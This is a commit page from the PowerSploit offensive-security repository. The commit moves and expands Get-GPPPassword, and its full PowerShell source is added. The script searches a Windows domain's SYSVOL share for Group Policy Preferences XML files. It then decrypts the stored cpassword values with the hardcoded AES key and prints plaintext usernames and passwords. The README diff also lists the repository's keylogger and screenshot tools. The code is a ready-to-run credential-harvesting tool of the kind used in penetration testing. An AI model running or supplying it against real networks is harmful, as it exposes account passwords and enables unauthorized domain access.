Skip to content
This repository was archived by the owner on Jan 21, 2021. It is now read-only.

Commit 371c65c

Browse files
author
Matt Graeber
committed
Updated Get-GPPPassword
1 parent 717950d commit 371c65c

File tree

5 files changed

+133
-113
lines changed

5 files changed

+133
-113
lines changed

‎Exfiltration/Exfiltration.psd1

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -74,7 +74,7 @@ ModuleList = @(@{ModuleName = 'Exfiltration'; ModuleVersion = '1.0.0.0'; GUID =
7474

7575
# List of all files packaged with this module
7676
FileList = 'Exfiltration.psm1', 'Exfiltration.psd1', 'Get-TimedScreenshot.ps1', 'Out-Minidump.ps1',
77-
'Get-Keystrokes.ps1', 'Usage.md'
77+
'Get-Keystrokes.ps1', 'Get-GPPPassword.ps1', 'Usage.md'
7878

7979
# Private data to pass to the module specified in RootModule/ModuleToProcess
8080
# PrivateData = ''

‎Exfiltration/Get-GPPPassword.ps1

Lines changed: 126 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,126 @@
1+
function Get-GPPPassword {
2+
<#
3+
.SYNOPSIS
4+
5+
Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences.
6+
7+
PowerSploit Function: Get-GPPPassword
8+
Author: Chris Campbell (@obscuresec)
9+
License: BSD 3-Clause
10+
Required Dependencies: None
11+
Optional Dependencies: None
12+
13+
.DESCRIPTION
14+
15+
Get-GPPPassword searches the domain controller for groups.xml, scheduledtasks.xml, services.xml and datasources.xml and returns plaintext passwords.
16+
17+
.EXAMPLE
18+
19+
Get-GPPPassword
20+
21+
.LINK
22+
23+
http://www.obscuresecurity.blogspot.com/2012/05/gpp-password-retrieval-with-powershell.html
24+
https://github.com/mattifestation/PowerSploit/blob/master/Recon/Get-GPPPassword.ps1
25+
http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences
26+
http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html
27+
#>
28+
29+
[CmdletBinding()]
30+
Param ()
31+
32+
#define helper function that decodes and decrypts password
33+
function Get-DecryptedCpassword {
34+
Param (
35+
[string] $Cpassword
36+
)
37+
38+
try {
39+
#Append appropriate padding based on string length
40+
$Mod = ($Cpassword.length % 4)
41+
if ($Mod -ne 0) {$Cpassword += ('=' * (4 - $Mod))}
42+
43+
$Base64Decoded = [Convert]::FromBase64String($Cpassword)
44+
45+
#Create a new AES .NET Crypto Object
46+
$AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider
47+
[Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,
48+
0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)
49+
50+
#Set IV to all nulls to prevent dynamic generation of IV value
51+
$AesIV = New-Object Byte[]($AesObject.IV.Length)
52+
$AesObject.IV = $AesIV
53+
$AesObject.Key = $AesKey
54+
$DecryptorObject = $AesObject.CreateDecryptor()
55+
[Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length)
56+
57+
return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)
58+
}
59+
60+
catch {Write-Error "$Error[0]"}
61+
}
62+
63+
#discover potential files containing passwords
64+
$XMlFiles = Get-ChildItem -Path "\\$Env:USERDNSDOMAIN\SYSVOL" -Recurse -Include 'groups.xml','services.xml','scheduledtasks.xml','datasources.xml'
65+
66+
foreach ($File in $XMLFiles) {
67+
68+
try {
69+
$Filename = $File.Name
70+
$Filepath = $File.VersionInfo.FileName
71+
72+
#put filename in $XmlFile
73+
[xml] $Xml = Get-Content ($File)
74+
75+
#declare blank variables
76+
$Cpassword = ''
77+
$UserName = ''
78+
$NewName = ''
79+
$Changed = ''
80+
81+
switch ($Filename) {
82+
83+
'Groups.xml' {
84+
$Cpassword = $Xml.Groups.User.Properties.cpassword
85+
$UserName = $Xml.Groups.User.Properties.userName
86+
$NewName = $Xml.Groups.User.Properties.newName
87+
$Changed = $Xml.Groups.User.changed
88+
}
89+
90+
'Services.xml' {
91+
$Cpassword = $Xml.NTServices.NTService.Properties.cpassword
92+
$UserName = $Xml.NTServices.NTService.Properties.accountName
93+
$Changed = $Xml.NTServices.NTService.changed
94+
}
95+
96+
'Scheduledtasks.xml' {
97+
$Cpassword = $Xml.ScheduledTasks.Task.Properties.cpassword
98+
$UserName = $Xml.ScheduledTasks.Task.Properties.runAs
99+
$Changed = $Xml.ScheduledTasks.Task.changed
100+
}
101+
102+
'DataSources.xml' {
103+
$Cpassword = $Xml.DataSources.DataSource.Properties.cpassword
104+
$UserName = $Xml.DataSources.DataSource.Properties.username
105+
$Changed = $Xml.DataSources.DataSource.changed
106+
}
107+
}
108+
109+
if ($Cpassword) {$Password = Get-DecryptedCpassword $Cpassword}
110+
111+
else {Write-Verbose "No encrypted passwords found in $Filepath"}
112+
113+
#Create custom object to output results
114+
$ObjectProperties = @{'Password' = $Password;
115+
'UserName' = $UserName;
116+
'Changed' = $Changed;
117+
'NewName' = $NewName
118+
'File' = $Filepath}
119+
120+
$ResultsObject = New-Object -TypeName PSObject -Property $ObjectProperties
121+
Write-Output $ResultsObject
122+
}
123+
124+
catch {Write-Error $Error[0]}
125+
}
126+
}

‎README.md

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -132,6 +132,10 @@ Locates single Byte AV signatures utilizing the same method as DSplit from "clas
132132

133133
Logs keys pressed, time and the active window.
134134

135+
#### `Get-GPPPassword`
136+
137+
Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences.
138+
135139
#### `Get-TimedScreenshot`
136140

137141
A function that takes screenshots at a regular interval and saves them to a folder.
@@ -152,10 +156,6 @@ Returns the HTTP Status Codes and full URL for specified paths when provided wit
152156

153157
Scans an IP address range for DNS PTR records. This script is useful for performing DNS reconnaissance prior to conducting an authorized penetration test.
154158

155-
#### `Get-GPPPassword`
156-
157-
Retrieves the plaintext password for accounts pushed through Group Policy in groups.xml.
158-
159159
## Recon\Dictionaries
160160

161161
**A collection of dictionaries used to aid in the reconnaissance phase of a penetration test. Dictionaries were taken from the following sources.**

‎Recon/Get-GPPPassword.ps1

Lines changed: 0 additions & 106 deletions
This file was deleted.

‎Recon/Recon.psd1

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -73,8 +73,8 @@ AliasesToExport = ''
7373
ModuleList = @(@{ModuleName = 'Recon'; ModuleVersion = '1.0.0.0'; GUID = '7e775ad6-cd3d-4a93-b788-da067274c877'})
7474

7575
# List of all files packaged with this module
76-
FileList = 'Recon.psm1', 'Recon.psd1', 'Get-GPPPassword.ps1', 'Get-HttpStatus.ps1',
77-
'Invoke-ReverseDnsLookup.ps1', 'Usage.md'
76+
FileList = 'Recon.psm1', 'Recon.psd1', 'Get-HttpStatus.ps1', 'Invoke-ReverseDnsLookup.ps1',
77+
'Usage.md'
7878

7979
# Private data to pass to the module specified in RootModule/ModuleToProcess
8080
# PrivateData = ''

0 commit comments

Comments
 (0)